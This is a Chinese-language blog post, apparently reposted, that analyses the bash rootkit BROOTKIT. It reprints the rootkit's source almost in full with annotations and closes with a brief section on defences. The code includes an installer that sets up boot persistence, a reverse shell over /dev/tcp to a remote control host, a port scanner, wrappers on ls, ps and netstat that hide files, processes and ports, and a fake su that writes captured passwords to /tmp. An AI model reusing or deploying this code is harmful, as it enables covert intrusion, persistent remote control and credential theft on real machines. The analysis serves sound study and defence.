码迷,mamicode.com
首页 > 其他好文 > 详细

BROOTKIT Pinciple、Code Analysis(undone)

时间:2015-03-08 18:29:37      阅读:150      评论:0      收藏:0      [点我收藏+]

标签:

目录

1. Rootkit相关知识
2. BROOTKIT源码分析
3. 关键技术点
4. 防御策略

 

1. Rootkit相关知识

关于rootkit的相关其他知识,请参阅以下文章

http://www.cnblogs.com/LittleHann/p/3918030.html
http://www.cnblogs.com/LittleHann/p/3910696.html
http://www.cnblogs.com/LittleHann/p/3879961.html
http://www.cnblogs.com/LittleHann/p/3879118.html
http://www.cnblogs.com/LittleHann/p/3870974.html

 

2. BROOTKIT源码分析

0x1: br.conf

在安装BROOKIT之前,需要先对br.conf进行配置(如果是freebsd,则需要配置brsh.conf)

brootkit config file.
#the ports will be hide: port1,port2,...,portn.
HIDE_PORT               8080,8899

#the files will be hide: file1,file2,...,filen.
HIDE_FILE               br.conf,bashbd.sh,brootkit,.bdrc,brdaemon

#the process will be hide: process1,process2,...,processn.
HIDE_PROC               bashbd,brootkit,pty.spawn,brdaemon

#the connect back host domain name or ip address. 即本机的rootkit要连接的主控端(C&c)
REMOTE_HOST             10.97.235.12

#the connect back host port.
REMOTE_PORT             8080
  
#the connect backdoor base sleep time.
SLEEP_TIME              60

0x2: install.sh

#!/bin/bash

BR_ROOTKIT_PATH="/usr/include/..."

declare br_os_type=0
declare br_privilege=1
declare -a br_shell=()
declare br_shell_idx=0
declare -a br_user=()

function br_install_rootkit()
{
    cp brootkit.sh /etc/profile.d/emacs.sh
    #touch -r /etc/profile.d/vim.sh /etc/profile.d/emacs.sh
}

function br_hookhup()
{
        :
}

function br_check_shell()
{
    local idx line user shell

    while read line
    do
        # 从/etc/passwd的一行中读取用户名
        user=`echo $line | cut -d ":" -f 1`
        # 从/etc/passwd的一行中读取当前用户对应的SHELL终端
        shell=`echo $line | cut -d ":" -f 7`

        if [ "$shell" == "/bin/bash" -o "$shell" == "/bin/sh" ]; then
            br_user[br_shell_idx]=$user
            br_shell[br_shell_idx]=$shell
            ((br_shell_idx++))
        fi
    done < /etc/passwd

    [ ${#br_user} -eq 0 ] && echo "no users has bash/sh environment." && exit

    for ((idx = 0; idx < $br_shell_idx; idx++))
    do
        echo "detect user - ${br_user[$idx]} has ${br_shell[$idx]} evnironment."
    done
}

function br_check_privilege()
{
    [ $UID -eq 0 -o $EUID -eq 0 ] && br_privilege=0 || br_privilege=1
}

function br_set_rootkit_path()
{
    if [ $br_privilege -eq 1 ]; then
        BR_ROOTKIT_PATH="/home/$USER/..."
    else
        echo "install brootkit using root privilege."
    fi
}

function br_check_os_type()
{
    local line

    line=`head -n 1 /etc/issue`
    if echo $line|grep "[Cc]ent[Oo][Ss]" >/dev/null; then
        br_os_type=1
    elif echo $line|grep "[Rr]ed.Hat.Enterprise" >/dev/null; then
        br_os_type=2
    elif echo $line|grep "[Uu]buntu" >/dev/null; then
        br_os_type=3
    elif echo $line|grep "[Dd]ebian" >/dev/null; then
        br_os_type=4
    elif echo $line|grep "[Ff]edora" >/dev/null; then
        br_os_type=5
    else
        echo -e "target os type - $line is not supported."
        exit 0
    fi

    echo -e "target os type - $line"
    #echo $br_os_type
}

function br_centos_install()
{
    local idx

    cp brdaemon.sh /etc/rc.d/init.d/brdaemon
    for idx in 0 1 2 3 4 5 6
    do
        ln -s /etc/rc.d/init.d/brdaemon /etc/rc.d/rc$idx.d/S10brdaemon
        [ $? -eq 1 ] && echo "copy brdaemon $idx failed." && exit
    done
}

function br_ubuntu_install()
{
    local idx

    cp brdaemon.sh /etc/init.d/brdaemon
    for idx in 0 1 2 3 4 5 6
    do
        ln -s /etc/init.d/brdaemon /etc/rc$idx.d/S10brdaemon
        [ $? -eq 1 ] && echo "copy brdaemon $idx failed." && exit
    done
    ln -s /etc/init.d/brdaemon /etc/rcS.d/S10brdaemon
}

function br_debian_install()
{
    cp brdaemon.sh /etc/init.d/brdaemon
    update-rc.d -f brdaemon start 20 2 3 4 5
}

function br_fedora_install()
{
        local idx

        cp brdaemon.sh /etc/rc.d/init.d/brdaemon
        for idx in 0 1 2 3 4 5 6
        do
                ln -s /etc/rc.d/init.d/brdaemon /etc/rc.d/rc$idx.d/S10brdaemon
                [ $? -eq 1 ] && echo "copy brdaemon $idx failed." && exit
        done
}

function br_creat_home()
{
    mkdir -p $BR_ROOTKIT_PATH -m 0777
    [ $? -eq 1 ] && echo "mkdir $BR_ROOTKIT_PATH failed." && exit

    # 将相关配置文件、主程序文件拷贝至BROOTKIT的HOME目录下
    cp brootkit.sh br.conf brconfig.sh bashbd.sh brscan.sh $BR_ROOTKIT_PATH
    [ $? -eq 1 ] && echo "copy brootkit failed." && exit

    chmod 777 $BR_ROOTKIT_PATH
}

function br_install_backdoor()
{
        if ! type nohup >/dev/null; then
                nohup $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1
        [ $? -eq 1 ] && echo "install backdoor failed." && exit
        else
                trap br_hookhup SIGHUP
                $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1 &
        [ $? -eq 1 ] && echo "install backdoor failed." && exit
        fi
}

function main()
{
    # 检测操作系统类型
    br_check_os_type

    # 根据/etc/passwd检查当前系统中所有用户、以及对应的SHELL终端
    br_check_shell

    # 检测当前是否是特权(root、sduo)用户
    br_check_privilege

    # 设置ROOTKIT路径(BROOTKIT要求必须以特权用户(root、sudo)安装运行): /home/$USER/...
    br_set_rootkit_path

    # 创建B、初始化ROOTKIT的HOME目录
    br_creat_home

    # 安装BROOTKIT: $BR_ROOTKIT_PATH/bashbd.sh
    br_install_backdoor

    # 设置隐蔽的常驻自启动后门
    if [ $br_privilege -eq 0 ]; then
        case $br_os_type in
            1|2)
                # /etc/rc.d/init.d/brdaemon
                br_centos_install ;;
            3)    
                # /etc/init.d/brdaemon
                br_ubuntu_install ;;
            4)
                # /etc/init.d/brdaemon
                br_debian_install ;;
            5)
                # /etc/rc.d/init.d/brdaemon
                br_fedora_install ;;
        esac
        br_install_rootkit
    fi

    if [ $? -eq 1 ]; then
        echo "install brootkit failed."
        exit
    else
        echo "install brootkit successful."
    fi
}

main

0x3: bashbd.sh

BROOTKIT的主程序,负责解析载入配置文件,并通过Linux原生提供的特殊Socket设备连接主控端(C&c),即所谓的"肉鸡上线"

#!/bin/bash

declare BR_ROOTKIT_PATH

function br_set_rootkit_path()
{
        if [ $UID -eq 0 -o $EUID -eq 0 ]; then
        BR_ROOTKIT_PATH="/usr/include/..."
    else
                BR_ROOTKIT_PATH="/home/$USER/..."
    fi
}

function br_connect_backdoor()
{
    local target_ip=$br_remote_host
    local target_port=$br_remote_port
    local sleep_time=$br_sleep_time

    while [ 1 ]
    do    
        MAX_ROW_NUM=`stty size | cut -d " " -f 1`
        MAX_COL_NUM=`stty size | cut -d " " -f 2`
        {
        PS1=[\A j\j \u@\h:t\l \w]\$;export PS1
        exec 9<> /dev/tcp/$target_ip/$target_port
        [ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1
        if type python >/dev/null;then
            export MAX_ROW_NUM MAX_COL_NUM
            python -c import pty; pty.spawn("/bin/bash")
        else
            /bin/bash --rcfile $BR_ROOTKIT_PATH/.bdrc --noprofile -i
        fi
        }&
        wait

        # 通过sleep保持通道联通 
        sleep $((RANDOM%sleep_time+sleep_time))
    done
}

br_set_rootkit_path
# 运行$BR_ROOTKIT_PATH/brconfig.sh,加载配置文件
. $BR_ROOTKIT_PATH/brconfig.sh
# 读取$BR_ROOTKIT_PATH/br.conf配置文件中的参数,并保存到本地变量中
br_load_config $BR_ROOTKIT_PATH/br.conf
# 通过Linux原生自带的特殊设备: /dev/[tcp|upd]/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口。如果主机以及端口存在,就建立一个socket 连接。将在,/proc/self/fd目录下面,有对应的文件出现
br_connect_backdoor

Relevant Link:

http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html

0x4: brconfig.sh

负责解析加载配置文件的SHELL文件

#!/bin/bash

declare -a br_hide_port
declare -a br_hide_file
declare -a br_hide_proc
declare -a br_remote_host
declare -a br_remote_port
declare br_sleep_time

function br_load_config()
{
        local arg1 arg2 line

        while read line
        do
                [ "${line:0:1}" == "#" -a -z "$line" ] && continue

                arg1=`echo $line | cut -d " " -f 1`
                arg2=`echo $line | cut -d " " -f 2`

                case $arg1 in
                        "HIDE_PORT")
                                br_hide_port=$arg2;;
                        "HIDE_FILE")
                                br_hide_file=$arg2;;
                        "HIDE_PROC")
                                br_hide_proc=$arg2;;
                        "REMOTE_HOST")
                                br_remote_host=$arg2;;
                        "REMOTE_PORT")
                                br_remote_port=$arg2;;
                        "SLEEP_TIME")
                                br_sleep_time=$arg2;;
                esac
        done < $1
}

function display_array()
{
    declare -a arg_tmp=$1
    local arg old_ifs

    old_ifs=$IFS; IFS=","
    for arg in ${arg_tmp[@]}
    do
        echo $arg
    done
    IFS=$old_ifs
}

function br_display_config()
{
        echo -e "HIDE_PORT:"
    display_array $br_hide_port
        echo -e "HIDE_FILE:"
    display_array $br_hide_file
        echo -e "HIDE_PROC:"
    display_array $br_hide_proc
        echo -e "REMOTE_HOST:"
    display_array $br_remote_host
        echo -e "REMOTE_PORT:"
    display_array $br_remote_port
        echo -e "SLEEP_TIME:"
    echo $br_sleep_time
}

0x5: brscan.sh

基于Linux原生自带的/dev/[tcp|upd]/host/port Socket操作技术发起多线程扫描

#!/bin/bash

declare br_remote_host="localhost"
declare -a br_ports
declare -a br_open_ports
declare br_port_num=0
declare br_curr_port_num=0
declare br_open_port_num=0
declare br_thread_num=0
declare br_timeout=2
declare br_logfile="brscan.log"
declare total_run_time
declare max_row_num

declare -a playx=(/ | \\ -)
declare playx_len=4

declare max_col_num=64
declare base_row=0
declare base_col=1
declare cur_col=2
declare total_port=10
declare cur_port=0

function br_run_play()
{
        local i x y tmp_col

        tmp_col=$((br_curr_port_num * max_col_num / br_port_num))

        i=$((max_row_num+1))
        [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

        for ((i = 1; i < $tmp_col; i++))
        do
                y=$((base_col+i))
                [ $y -gt $max_col_num ] && break
                echo -ne "\033[${x};${y}H>\033[?25l"
        done
}

function br_play_init()
{
        local x y i

        i=$((max_row_num+1))
        [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

        echo -ne "\033[${x};${base_col}H\033[33m[\033[0m"

        y=$((max_col_num+1))
        echo -ne "\033[${x};${y}H\033[33m]\033[0m"
}

function compute_run_time()
{
        local day hour min rtime

        day=$(($1/3600/24))
        hour=$(($1/3600))
        min=$(($1/60))

        if [ $min -eq 0 ]; then
                sec=$(($1%60))
        total_run_time="$sec s"
        else
                if [ $hour -eq 0 ]; then
                        sec=$(($1%60))
                        total_run_time="$min m $sec s"
                else
                        if [ $day -eq 0 ]; then
                                tmp=$(($1%3600))
                                min=$(($tmp/60))
                                sec=$(($tmp%60))
                                total_run_time="$hour h $min m $sec s"
                        else
                                # 86400 = 3600 * 24
                                tmp=$(($1%86400))
                                hour=$(($tmp/3600))
                                tmp1=$(($tmp%3600))
                                min=$(($tmp1/60))
                                sec=$(($tmp1%60))
                                total_run_time="$day d $hour h $min m $sec s"
                        fi


                fi
        fi
}

function get_run_time()
{
        local run_count local_hz run_time
    local start_time curr_time

    if [ -d "/proc/$1" ]; then
            run_count=`cat /proc/$1/stat | cut -d " " -f 22`
    else
        return 0
    fi

        local_hz=`getconf CLK_TCK`
        start_time=$(($run_count/$local_hz))

        curr_time=`cat /proc/uptime | cut -d " " -f 1 | cut -d "." -f 1`
        run_time=$((curr_time-start_time))

    return $run_time
}

function br_show_open_ports()
{
    local x y i

    get_run_time $$
    run_time=$?

    compute_run_time $run_time

    i=$((max_row_num+1))
    [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

    y=$((max_col_num+3))
    printf "\033[${x};${y}H\033[32;1m %5d/%-5d\t$total_run_time\033[0m"         $br_curr_port_num $br_port_num

    x=$((x+2)); y=1
    printf "\033[${x};${y}H\033[32;1m%s: ${br_open_ports[*]}\033[0m"         $br_remote_host 
}

# $1 => remote host
# $2 => remote port
# $3 => thread_num
function thread_scan()
{
    local tport pid pidfile sock_fd
    local i j k m=0 run_time x

    mkdir -p .scan

    for ((i = 0; i < $3; i++))
    do
        {
        let "sock_fd=$2+$i"
        let "j=$2+$i+3"
        /bin/bash -c "exec $j<> /dev/tcp/$1/${br_ports[$sock_fd]}" 2>${br_ports[$sock_fd]}
        }&
        let "k=$2+$i"
        x=$((m+3))
        if [ $x -ge $max_row_num ]; then
             m=0;x=3
        else
            ((m++))
        fi
        printf "\033[${x};1H\033[33mthread<%-5d>\t\t--\t\tpid <%-5d>\t-->\t%-5d\033[?25l"             $i $! ${br_ports[$k]}
        echo ${br_ports[$k]} > ".scan/$!"
        [ $br_curr_port_num -ge $br_port_num ] && break || ((br_curr_port_num++))
    done

    sleep $br_timeout

    exec 2>&-
        for pid in `jobs -p`
        do
        get_run_time $pid
        run_time=$?
        [ $run_time -eq 0 ] && continue

                if [ $run_time -ge $br_timeout ]; then
                        kill -9 $pid >/dev/null 2>&1
            rm -f ".scan/$pid"
                fi
        done

    for ((i = 0; i < $3; i++))
    do
        let "sock_fd=$2+$i"
                if [ ! -s ${br_ports[$sock_fd]} ]; then
            for pid_file in `ls .scan`
            do
                tport=`cat ".scan/$pid_file"`
                if [ $tport -eq ${br_ports[$sock_fd]} ]; then
                    br_open_ports[$br_open_port_num]=${br_ports[$sock_fd]}
                    ((br_open_port_num++))
                fi
            done
                fi
        
        rm -f ${br_ports[$sock_fd]}
    done

    br_run_play
    br_show_open_ports
    rm -fr .scan
}

# $1 => remote host
# $2 => thread_num
function br_scan_port()
{
    local i

    for ((i = 0; i < $br_port_num; i+=$br_thread_num))
    do
        thread_scan $br_remote_host $i $br_thread_num
    done
}

function br_show_ports()
{
    local i

    for ((i = 0; i < $br_port_num; i++))
    do
        echo ${br_ports[$i]}
    done
}

function parse_port()
{
    local start_port end_port port

    start_port=`echo $1 | cut -d "-" -f 1`
    end_port=`echo $1 | cut -d "-" -f 2`
    
    for ((port=$start_port; port <= $end_port; port++))
    do
        br_ports[$br_port_num]=$port
        ((br_port_num++))
    done
    ((br_port_num--))
}

function br_parse_port()
{
    declare -a ports
    local tmp_ifs port

    tmp_ifs=$IFS; IFS=,; ports=$1
    
    for port in ${ports[@]}
    do
        if echo $port|grep -e ".*-.*" >/dev/null; then
            parse_port $port
        else
            br_ports[$br_port_num]=$port
            ((br_port_num++))
        fi
    done
    IFS=$tmp_ifs
}

function br_show_arg()
{
    echo -ne "\033[1;1H"
    echo -ne "\033[31;1mhost: $br_remote_host | total ports: $br_port_num | thread num: $br_thread_num "
    echo -e "timeout: $br_timeout | logfile: $br_logfile\n\033[0m"
}

function br_scan_init()
{
    echo -ne "\033[2J"
        MAX_ROW_NUM=`stty size|cut -d " " -f 1`
        MAX_COL_NUM=`stty size|cut -d " " -f 2`
    max_row_num=$((MAX_ROW_NUM-5))
}

function br_scan_exit()
{
    echo -e "\033[?25h"
}

function br_usage()
{
    echo -e "$1 <-p> [-n|-t|-o|-h] <remote_host>\n"
    echo -e "option:"
    echo -e "-p\t\tports, pattern: port1,port2,port3-port7,portn..."
    echo -e "-n\t\tthread num, defalut is 10"
    echo -e "-t\t\ttimeout, default is 30s"
    echo -e "-o\t\tresults write into log file, default is brscan.log"
    echo -e "-h\t\thelp information."
    echo -e "\nexp:"
    echo -e "$1 -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org"
    echo -e "$1 -p 1-65525 -n 200 -t 20 www.cloud-sec.org"
}

function main()
{
    if [ $# -eq 0 ]; then
        br_usage $0
        exit 0
    fi

    while getopts "p:n:t:o:h" arg
    do
    case $arg in
        p)
            # 解析用户输入的端口信息
            br_parse_port $OPTARG ;;
        n)
            # 线程数
            br_thread_num=$OPTARG ;;
        t)
            # 时间延时
            br_timeout=$OPTARG ;;
        o)
            # 日志文件
            br_logfile=$OPTARG ;;
        h)
            br_usage $0
            exit 0
            ;;
        ?)
            echo "unkown arguments."
            exit 1
            ;;
        esac
    done
                
    shift $((OPTIND-1))
    # 待扫描的远程主机IP
    br_remote_host=$@

    [ $br_port_num -lt $br_thread_num ] && br_thread_num=$br_port_num

    #br_show_ports
    # 扫描初始化
    br_scan_init
    br_play_init

    # 显示扫描参数
    br_show_arg
    
    br_scan_port
    br_scan_exit
}

main $@

0x6: brootkit.sh

在全局范围定义了指令别名(alias)和实现函数

#!/bin/bash
# Lightweight rootkit implemented by bash shell scripts v0.08
#
# by wzt 2015     http://www.cloud-sec.org
#

#declare -r builtin
#declare -r declare
#declare -r set
#declare -r fake_unset
#declare -r type
#declare -r typeset

#unalias ls >/dev/null 2>&1

set +v

BR_ROOTKIT_PATH="/usr/include/..."

function abcdmagic()
{
    :
}

function br_hide_engine()
{
        declare -a brootkit_func=(
                                "^typeset.*()|15" "^type.*()|27"
                                "^su.*()|26" "^reset_ps.*()|8"
                                "^reset_netstat.*()|8" "^reset_ls.*()|8"
                                "^reset_command.*()|42" "^ps.*()|14"
                                "^netstat.*()|14" "^max_file_length.*()|9"
                                "^ls.*()|64" "^fake_unset.*()|10"
                                "^fake_command.*()|12" "^display_array.*()|11"
                                "^dir.*()|3" "^declare.*()|41"
                                "^command*()|39" "^builtin.*()|19"
                                "^br_load_config.*()|28" "^br_display_config.*()|14"
                                "^abcdmagic.*()|3" "^/usr/bin/dir.*()|5"
                                "^/bin/ps.*()|5" "^/bin/netstat.*()|5"
                                "^/bin/ls.*()|5" "^br_hide_file=|5"
                "^set.*()|19" "^br_hide_engine.*()|30"
                                )
        local func_line br_func func_name func_num

    echo "$1" >.br.tmp
        for br_func in ${brootkit_func[*]}
        do
                func_name=`echo $br_func | cut -d "|" -f 1`
                func_num=`echo $br_func | cut -d "|" -f 2`
                #echo $func_name $func_num
                func_line=`grep -n "$func_name" .br.tmp| awk -F: {print $1}`
                #echo $func_line
                sed -i "$func_line,+$func_num d" .br.tmp >/dev/null 2>&1
        done
    cat .br.tmp; rm -f .br.tmp
}

function builtin()
{
    local fake_a

    unset command
    case $1 in 
        "declare"|"set"|"unset"|"command"|"type"|"typeset")
                fake_a="$(command builtin $1 $2)"
            br_hide_engine "$fake_a"
            reset_command
            return ;;
        "builtin")
            echo "bash: builtin: builtin: syntax error, bash($BASH_VERSION) is not support."
            reset_command
            return ;;
        *)
            command builtin $1 $2
            reset_command
            ;;
    esac
}

function declare()
{
    local fake_a

    unset command
    case $1 in 
        "")
                fake_a="$(command declare $1 $2)"
            br_hide_engine "$fake_a"
            reset_command
            return ;;
        "-f"|"-F")
                fake_a="$(command declare $1 $2)"
                fake_b=${fake_a/\/bin\/ls?()*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        *)
                command declare $1 $2
            reset_command
            return ;;
    esac
}

function typeset()
{
        local fake_a 

    unset command
        case $1 in
                ""|"-f"|"-F")
                        fake_a="$(command declare $1 $2)"
            br_hide_engine "$fake_a"
            reset_command
                        return ;;
                *)
                        command typeset $1 $2
            reset_command
                        return ;;
        esac
}

function type()
{
        case $1 in
                "builtin"|"declare"|"set"|"unset"|"type"|"typeset")
                        echo "$1 is a shell builtin"
                        return ;;
        "dir")
            echo "dir is /usr/bin/dir"
            return ;;
        "ls")
            echo "ls is aliased to ls --color=tty"
            return ;;
        "ps")
            echo "ps is /bin/ps"
            return ;;
        "netstat")
            echo "netstat is hashed (/bin/netstat)"
            return ;;
        "/bin/ls"|"/usr/bin/dir"|"/bin/ps"|"/bin/netstat")
            echo "$1 is $1"
            return ;;
                *)
            unset command
                        command type $1 $2
            reset_command
                        return ;;
        esac
}

function set()
{
        local fake_a

    unset command
        case $1 in
                "")
                        fake_a="$(command set)"
            br_hide_engine "$fake_a"
            reset_command
                        return ;;
        "-x"|"+x")
            reset_command
            return ;;
                *)
            echo $1 $2
                        command set $1 $2
            reset_command
                        return ;;
        esac
}

function fake_unset()
{
        case $1 in
                "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
                        echo "bash: syntax error, bash($BASH_VERSION) is not support."
                        return ;;
                *)
                        unset $1 $2
                        return ;;
        esac
}

function fake_command()
{
        case $1 in
                "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
                        echo "bash: syntax error, bash($BASH_VERSION) is not support."
                        return ;;
                *)
            unset command
                        command $1 $2
                        reset_command
                        return ;;
        esac
}

function command()
{
        case $1 in
                "builtin")
            builtin $2 $3
            return ;;
                "declare")
            declare $2 $3
            return ;;
        "set")
            set $2 $3
            return ;;
        "unset")
            fake_unset $2 $3
            . $BR_ROOTKIT_PATH/brootkit.sh
            return ;;
        "type")
            type $2 $3
            return ;;
        "typeset")
            typeset $2 $3
            return ;;
        "command")
            fake_command $2 $3
            return ;;
                *)
            unset command
            command $2 $3
            . $BR_ROOTKIT_PATH/brootkit.sh
            return ;;
        esac
}

function reset_command()
{
    function command()
    {
            case $1 in
                    "builtin")
                            builtin $2 $3
                            return ;;
                    "declare")
                            declare $2 $3
                            return ;;
                    "set")
                            set $2 $3
                            return ;;
                    "unset")
                            fake_unset $2 $3
                            . $BR_ROOTKIT_PATH/brootkit.sh
                            return ;;
                    "type")
                            type $2 $3
                            return ;;
                    "typeset")
                            typeset $2 $3
                            return ;;
                    "command")
                            fake_command $2 $3
                            return ;;
                    *)
                            unset command
                            command $2 $3
                            . $BR_ROOTKIT_PATH/brootkit.sh
                            return ;;
            esac
    }
}

function su()
{
        local arg_list=("" "-" "-l" "--login"
                        "-c" "--command" "--session-command"
                        "-f" "--fast"
                        "-m" "--preserve-environment" "-p"
                        "-s" "--shell=SHELL")
        local flag=0 tmp_arg arg pass

        if [ $UID -eq 0 ]; then
                /bin/su $1; unset su ; return $?
        fi

        for arg in ${arg_list[@]}
        do
                [ "$1" = "$arg" ] && flag=1
        done

        [ $# -eq 0 ] && flag=1

        tmp_arg=$1;tmp_arg=${tmp_arg:0:1};
        [ "$tmp_arg" != "-" -a $flag -eq 0 ] && flag=1

        if [ $flag -ne 1 ];then
                /bin/su $1; return $?
        fi

        [ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`

        echo -ne "Password:\r\033[?25l"
        read -t 30 -s pass
        echo -ne "\033[K\033[?25h"

        /bin/su && unset su && echo $pass >> /tmp/...
}

unalias ls >/dev/null 2>&1

function max_file_length()
{
    local tmp_file sum=0 n=0

    for tmp_file in `/bin/ls $@`
    do
        n=${#tmp_file}
        [ $n -gt $sum ] && sum=$n
    done
    
    return $sum
}

function ls()
{ 
    local fake_file max_col_num file_format
    local hide_file hide_flag file_arg old_ifs
    local file_len=0 sum=0 n=0 display_mode=0

    max_col_num=`stty size|cut -d " " -f 2`

        . $BR_ROOTKIT_PATH/brconfig.sh
        br_load_config $BR_ROOTKIT_PATH/br.conf

    for file_arg in $@
    do
            if echo $file_arg|grep -q -e "^-.*l.*"; then
            display_mode=1; break
            fi
    done

    case $display_mode in
    0)
        unset -f /bin/ls
        max_file_length $@
        file_len=$?

        for fake_file in $(/bin/ls $@)
            do
            hide_flag=0
                old_ifs=$IFS; IFS=","
                for hide_file in ${br_hide_file[@]}
                do
                        if echo "$fake_file"|grep -e "^$hide_file" >/dev/null;then
                    hide_flag=1; break
                fi
            done
                   IFS=$old_ifs

            [ $hide_flag -eq  1 ] && continue

            n=${#fake_file}
            ((sum=sum+n+file_len))

            if [ $sum -gt $max_col_num ];then
                file_format="%-$file_len""s\n"
                printf $file_format $fake_file
                sum=0
            else
                file_format="%-$file_len""s "
                printf $file_format $fake_file
            fi
            done

        [ $sum -le $max_col_num ] && echo ""
        reset_ls
        return ;;
    1)    
        unset -f /bin/ls

        fake_file=`/bin/ls $@`
            old_ifs=$IFS; IFS=","
            for hide_file in ${br_hide_file[@]}
            do
            fake_file=`echo "$fake_file" | sed -e /$hide_file/d`
            done
            IFS=$old_ifs
        echo "$fake_file"
        reset_ls

        return ;;
    esac
}

function dir()
{
    /bin/ls $@
}

function /usr/bin/dir()
{
    unset -f /bin/ls
    /bin/ls $@
    reset_ls
}

function reset_ls()
{
    function /bin/ls()
    {
        unset -f /bin/ls
        /bin/ls $@
        reset_ls
    }
}

function /bin/ls()
{
    unset -f /bin/ls
    /bin/ls $@
    reset_ls
}

function ps()
{
        local proc_name hide_proc old_ifs

        . $BR_ROOTKIT_PATH/brconfig.sh
        br_load_config $BR_ROOTKIT_PATH/br.conf

        old_ifs=$IFS; IFS=","

        proc_name=`/bin/ps $@`
        for hide_proc in ${br_hide_proc[@]}
        do
            proc_name=`echo "$proc_name" | sed -e /$hide_proc/d`
        done

        echo "$proc_name"
    IFS=$old_ifs
}

function reset_ps()
{
        function /bin/ps()
        {
                unset -f /bin/ps
                ps $@
                reset_ps
        }
}

function /bin/ps()
{
        unset -f /bin/ps
        ps $@
        reset_ps
}

function netstat()
{
        local hide_port tmp_port old_ifs

    . $BR_ROOTKIT_PATH/brconfig.sh
    br_load_config $BR_ROOTKIT_PATH/br.conf

    old_ifs=$IFS; IFS=","
        tmp_port=`/bin/netstat $@`
        for hide_port in ${br_hide_port[@]}
        do
                tmp_port=`echo "$tmp_port" | sed -e /$hide_port/d`
        done
        echo "$tmp_port"
    IFS=$old_ifs
}

function reset_netstat()
{
        function /bin/netstat()
        {
                unset -f /bin/netstat
                netstat $@
                reset_netstat
        }
}

function /bin/netstat()
{
        unset -f /bin/netstat
        netstat $@
        reset_netstat
}

Relevant Link:

https://github.com/cloudsec/brootkit

 

3. 关键技术点

1. more hidable ability against admintrator or hids.
相比于传统的Ring3 ELF Replace Rootkit、VFS Hook Rootkit、LKM ROOTKIT的那种"系统外来物",brootkit的安装和运行并没有造成系统产生很多"异常"的行为,/brootkit有种润物细无声的感觉,充分利用了系统原生提供的机制
    1) Bash
    2) /dev/[tcp、udp]网络socket特殊设备
    3) /etc/profile.d/emac.sh默认自启动脚本
    4) alias function劫持

2. su passwd thief.
3. hide file and directorys.
4. hide process.
5. hide network connections.

6. connect backdoor.
利用了系统原生提供的socket设备文件/dev/[tcp/udp]/..来实现socket连接和sleep保持连接肉鸡上线
7. muilt thread port scanner.
8. http download.

 

4. 防御策略

BROOTKIT的亮点主要在于基于BASH的自我隐藏、基于/dev/[tcp、udp]的隐蔽网络连接,如果直接从静态的角度来说很难检测出这个rootkit,或者准确地说是很难将brootkit和正常系统文件区分开来,但是从动态主防的角度是可以检测出brootkit的

1. 指令执行捕获
brootkit实现了文件隐藏、进程隐藏,但是黑客在系统上执行的指令依然会被捕获到,例如使用LD_PRELOAD Hook技术

2. 网络外连捕获
cat < /dev/tcp/www.baidu.com/80

exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3
cat <&3
/*
这种网络外连请求好像不是走的socket connect渠道,目前未找到可行的事件捕获方法
*/

Relevant Link:

http://tldp.org/LDP/abs/html/devref1.html#DEVTCP
http://www.linuxjournal.com/content/more-using-bashs-built-devtcp-file-tcpip
http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html
http://blog.csdn.net/zhjutao/article/details/8622751
http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html

 

Copyright (c) 2014 LittleHann All rights reserved

 

BROOTKIT Pinciple、Code Analysis(undone)

标签:

原文地址:http://www.cnblogs.com/LittleHann/p/4321826.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!